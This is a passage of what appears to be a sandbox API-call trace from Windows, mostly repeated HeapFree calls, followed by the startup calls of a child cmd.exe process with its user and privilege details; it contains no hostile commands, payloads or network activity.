[0206.506] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.506] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.506] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.507] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.509] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.509] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.512] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.513] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.513] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.513] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.514] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.514] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.519] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.520] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.520] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c90d0 | out: hHeap=0x5c0000) returned 1 [0206.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42b80c0 | out: hHeap=0x5c0000) returned 1 [0206.525] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c80c8 | out: hHeap=0x5c0000) returned 1 [0206.525] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42b80c0 | out: hHeap=0x5c0000) returned 1 [0206.527] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c80c8 | out: hHeap=0x5c0000) returned 1 [0206.533] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42b80c0 | out: hHeap=0x5c0000) returned 1 [0206.533] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42b80c0 | out: hHeap=0x5c0000) returned 1 [0206.534] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42b80c0 | out: hHeap=0x5c0000) returned 1 [0206.536] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42b80c0 | out: hHeap=0x5c0000) returned 1 [0206.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c80c8 | out: hHeap=0x5c0000) returned 1 [0206.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42b80c0 | out: hHeap=0x5c0000) returned 1 [0206.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c80c8 | out: hHeap=0x5c0000) returned 1 [0206.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42b80c0 | out: hHeap=0x5c0000) returned 1 [0206.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42b80c0 | out: hHeap=0x5c0000) returned 1 [0206.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42b80c0 | out: hHeap=0x5c0000) returned 1 [0206.784] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42d80d0 | out: hHeap=0x5c0000) returned 1 [0206.788] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c80c8 | out: hHeap=0x5c0000) returned 1 [0206.790] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42b80c0 | out: hHeap=0x5c0000) returned 1 [0206.791] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a70b0 | out: hHeap=0x5c0000) returned 1 [0206.791] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4273078 | out: hHeap=0x5c0000) returned 1 [0206.792] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a70b0 | out: hHeap=0x5c0000) returned 1 [0206.793] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4283080 | out: hHeap=0x5c0000) returned 1 [0206.793] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4283080 | out: hHeap=0x5c0000) returned 1 [0206.793] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a70b0 | out: hHeap=0x5c0000) returned 1 [0206.794] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4283080 | out: hHeap=0x5c0000) returned 1 [0206.795] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a70b0 | out: hHeap=0x5c0000) returned 1 [0206.795] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4283080 | out: hHeap=0x5c0000) returned 1 [0206.796] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4273078 | out: hHeap=0x5c0000) returned 1 [0206.798] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42960a0 | out: hHeap=0x5c0000) returned 1 [0206.799] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4283080 | out: hHeap=0x5c0000) returned 1 [0206.800] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4283080 | out: hHeap=0x5c0000) returned 1 [0206.800] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4283080 | out: hHeap=0x5c0000) returned 1 [0206.800] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4273078 | out: hHeap=0x5c0000) returned 1 [0206.803] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a60a8 | out: hHeap=0x5c0000) returned 1 [0206.808] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a60a8 | out: hHeap=0x5c0000) returned 1 [0206.808] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a60a8 | out: hHeap=0x5c0000) returned 1 [0206.809] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42960a0 | out: hHeap=0x5c0000) returned 1 [0206.810] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a60a8 | out: hHeap=0x5c0000) returned 1 [0206.811] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a60a8 | out: hHeap=0x5c0000) returned 1 [0206.811] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a60a8 | out: hHeap=0x5c0000) returned 1 [0206.813] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a60a8 | out: hHeap=0x5c0000) returned 1 [0206.814] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a60a8 | out: hHeap=0x5c0000) returned 1 [0206.815] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a60a8 | out: hHeap=0x5c0000) returned 1 [0206.816] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42b60b0 | out: hHeap=0x5c0000) returned 1 [0206.816] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a60a8 | out: hHeap=0x5c0000) returned 1 [0206.817] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a60a8 | out: hHeap=0x5c0000) returned 1 [0206.817] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a60a8 | out: hHeap=0x5c0000) returned 1 [0206.818] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a60a8 | out: hHeap=0x5c0000) returned 1 [0206.819] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42960a0 | out: hHeap=0x5c0000) returned 1 [0206.821] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4283080 | out: hHeap=0x5c0000) returned 1 [0206.821] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4273078 | out: hHeap=0x5c0000) returned 1 [0207.128] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4283080 | out: hHeap=0x5c0000) returned 1 [0207.133] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4283080 | out: hHeap=0x5c0000) returned 1 [0207.137] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a60a8 | out: hHeap=0x5c0000) returned 1 [0207.654] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42b60b0 | out: hHeap=0x5c0000) returned 1 [0208.029] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42d60c0 | out: hHeap=0x5c0000) returned 1 [0208.029] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42b60b0 | out: hHeap=0x5c0000) returned 1 [0208.029] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a60a8 | out: hHeap=0x5c0000) returned 1 [0208.036] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a60a8 | out: hHeap=0x5c0000) returned 1 [0208.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a60a8 | out: hHeap=0x5c0000) returned 1 [0208.040] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a60a8 | out: hHeap=0x5c0000) returned 1 [0208.040] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42d60c0 | out: hHeap=0x5c0000) returned 1 [0208.041] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42d60c0 | out: hHeap=0x5c0000) returned 1 [0208.044] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42d60c0 | out: hHeap=0x5c0000) returned 1 [0208.046] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42d60c0 | out: hHeap=0x5c0000) returned 1 [0208.591] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42b60b0 | out: hHeap=0x5c0000) returned 1 [0208.592] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x437a100 | out: hHeap=0x5c0000) returned 1 [0208.889] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x438a108 | out: hHeap=0x5c0000) returned 1 [0208.890] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x438a108 | out: hHeap=0x5c0000) returned 1 [0208.890] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x438a108 | out: hHeap=0x5c0000) returned 1 [0208.893] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x438a108 | out: hHeap=0x5c0000) returned 1 [0208.893] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x437a100 | out: hHeap=0x5c0000) returned 1 [0208.895] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a60a8 | out: hHeap=0x5c0000) returned 1 [0208.897] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a60a8 | out: hHeap=0x5c0000) returned 1 [0208.905] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a60a8 | out: hHeap=0x5c0000) returned 1 [0208.909] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a60a8 | out: hHeap=0x5c0000) returned 1 [0208.912] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a60a8 | out: hHeap=0x5c0000) returned 1 [0208.918] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x438a108 | out: hHeap=0x5c0000) returned 1 [0208.918] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x438a108 | out: hHeap=0x5c0000) returned 1 [0208.918] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x438a108 | out: hHeap=0x5c0000) returned 1 [0208.919] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x438a108 | out: hHeap=0x5c0000) returned 1 [0209.359] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x438a108 | out: hHeap=0x5c0000) returned 1 [0209.364] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0209.366] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0209.368] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0209.370] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0209.372] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0209.374] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0209.377] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0209.380] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0209.382] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0209.760] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0209.763] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0209.766] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0209.768] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0209.770] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0209.773] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0209.775] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0209.777] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0209.780] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0209.783] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0209.785] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0209.788] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0209.790] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0210.254] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0210.256] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0210.258] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0210.260] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0210.261] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0210.263] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0210.265] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0210.266] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0210.268] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0210.269] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0210.271] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0210.272] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0210.274] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0210.276] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0210.586] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0210.589] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0210.591] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0210.593] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0210.595] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0210.596] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0210.598] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0210.600] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43aa118 | out: hHeap=0x5c0000) returned 1 [0210.600] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x439a110 | out: hHeap=0x5c0000) returned 1 [0210.600] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x438a108 | out: hHeap=0x5c0000) returned 1 [0210.603] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x438a108 | out: hHeap=0x5c0000) returned 1 [0210.605] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x439a110 | out: hHeap=0x5c0000) returned 1 [0210.606] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x439a110 | out: hHeap=0x5c0000) returned 1 [0210.608] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x439a110 | out: hHeap=0x5c0000) returned 1 [0210.610] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x439a110 | out: hHeap=0x5c0000) returned 1 [0210.612] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x439a110 | out: hHeap=0x5c0000) returned 1 [0210.614] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x439a110 | out: hHeap=0x5c0000) returned 1 [0210.616] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x439a110 | out: hHeap=0x5c0000) returned 1 [0210.625] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x439a110 | out: hHeap=0x5c0000) returned 1 [0210.629] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x433a0f8 | out: hHeap=0x5c0000) returned 1 [0211.147] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x433a0f8 | out: hHeap=0x5c0000) returned 1 [0211.149] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x433a0f8 | out: hHeap=0x5c0000) returned 1 [0211.151] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x433a0f8 | out: hHeap=0x5c0000) returned 1 [0211.153] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x433a0f8 | out: hHeap=0x5c0000) returned 1 [0211.155] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x433a0f8 | out: hHeap=0x5c0000) returned 1 [0211.158] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x433a0f8 | out: hHeap=0x5c0000) returned 1 [0211.160] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x433a0f8 | out: hHeap=0x5c0000) returned 1 [0211.166] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x433a0f8 | out: hHeap=0x5c0000) returned 1 [0211.168] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x433a0f8 | out: hHeap=0x5c0000) returned 1 [0211.170] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x433a0f8 | out: hHeap=0x5c0000) returned 1 [0211.172] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x433a0f8 | out: hHeap=0x5c0000) returned 1 [0211.174] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x433a0f8 | out: hHeap=0x5c0000) returned 1 [0211.176] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x433a0f8 | out: hHeap=0x5c0000) returned 1 [0211.194] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x433a0f8 | out: hHeap=0x5c0000) returned 1 [0211.197] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x433a0f8 | out: hHeap=0x5c0000) returned 1 [0211.199] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x433a0f8 | out: hHeap=0x5c0000) returned 1 [0211.202] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x433a0f8 | out: hHeap=0x5c0000) returned 1 [0211.204] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x433a0f8 | out: hHeap=0x5c0000) returned 1 [0211.206] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x433a0f8 | out: hHeap=0x5c0000) returned 1 Process: id = "13" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x2c6dd000" os_pid = "0x438" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xdd8" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010abc" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 83 os_tid = 0x384 [0208.142] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff75f4b0000 [0208.142] __set_app_type (_Type=0x1) [0208.142] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff75f4c6d00) returned 0x0 [0208.142] __getmainargs (in: _Argc=0x7ff75f4e9200, _Argv=0x7ff75f4e9208, _Env=0x7ff75f4e9210, _DoWildCard=0, _StartInfo=0x7ff75f4e921c | out: _Argc=0x7ff75f4e9200, _Argv=0x7ff75f4e9208, _Env=0x7ff75f4e9210) returned 0 [0208.144] _onexit (_Func=0x7ff75f4c7fd0) returned 0x7ff75f4c7fd0 [0208.144] _onexit (_Func=0x7ff75f4c7fe0) returned 0x7ff75f4c7fe0 [0208.144] _onexit (_Func=0x7ff75f4c7ff0) returned 0x7ff75f4c7ff0 [0208.145] _onexit (_Func=0x7ff75f4c8000) returned 0x7ff75f4c8000 [0208.145] _onexit (_Func=0x7ff75f4c8010) returned 0x7ff75f4c8010 [0208.146] _onexit (_Func=0x7ff75f4c8020) returned 0x7ff75f4c8020 [0208.146] GetCurrentThreadId () returned 0x384 [0208.146] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x384) returned 0x70 [0208.147] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7fff67790000 [0208.147] GetProcAddress (hModule=0x7fff67790000, lpProcName="SetThreadUILanguage") returned 0x7fff677aa990 [0208.147] SetThreadUILanguage (LangId=0x0) returned 0x409 [0208.946] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0208.946] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x223697fbc8 | out: phkResult=0x223697fbc8*=0x0) returned 0x2 [0208.947] VirtualQuery (in: lpAddress=0x223697fbb4, lpBuffer=0x223697fb30, dwLength=0x30 | out: lpBuffer=0x223697fb30*(BaseAddress=0x223697f000, AllocationBase=0x2236880000, AllocationProtect=0x4, __alignment1=0xffffb18a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0208.947] VirtualQuery (in: lpAddress=0x2236880000, lpBuffer=0x223697fb30, dwLength=0x30 | out: lpBuffer=0x223697fb30*(BaseAddress=0x2236880000, AllocationBase=0x2236880000, AllocationProtect=0x4, __alignment1=0xffffb18a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0208.947] VirtualQuery (in: lpAddress=0x2236881000, lpBuffer=0x223697fb30, dwLength=0x30 | out: lpBuffer=0x223697fb30*(BaseAddress=0x2236881000, AllocationBase=0x2236880000, AllocationProtect=0x4, __alignment1=0xffffb18a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0208.947] VirtualQuery (in: lpAddress=0x2236884000, lpBuffer=0x223697fb30, dwLength=0x30 | out: lpBuffer=0x223697fb30*(BaseAddress=0x2236884000, AllocationBase=0x2236880000, AllocationProtect=0x4, __alignment1=0xffffb18a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0208.947] VirtualQuery (in: lpAddress=0x2236980000, lpBuffer=0x223697fb30, dwLength=0x30 | out: lpBuffer=0x223697fb30*(BaseAddress=0x2236980000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffffb18a, RegionSize=0x80000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0208.947] GetConsoleOutputCP () returned 0x1b5 [0209.821] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff75f4efbb0 | out: lpCPInfo=0x7ff75f4efbb0) returned 1 [0209.822] SetConsoleCtrlHandler (HandlerRoutine=0x7ff75f4d8150, Add=1) returned 1 [0209.822] _get_osfhandle (_FileHandle=1) returned 0x338 [0209.822] GetConsoleMode (in: 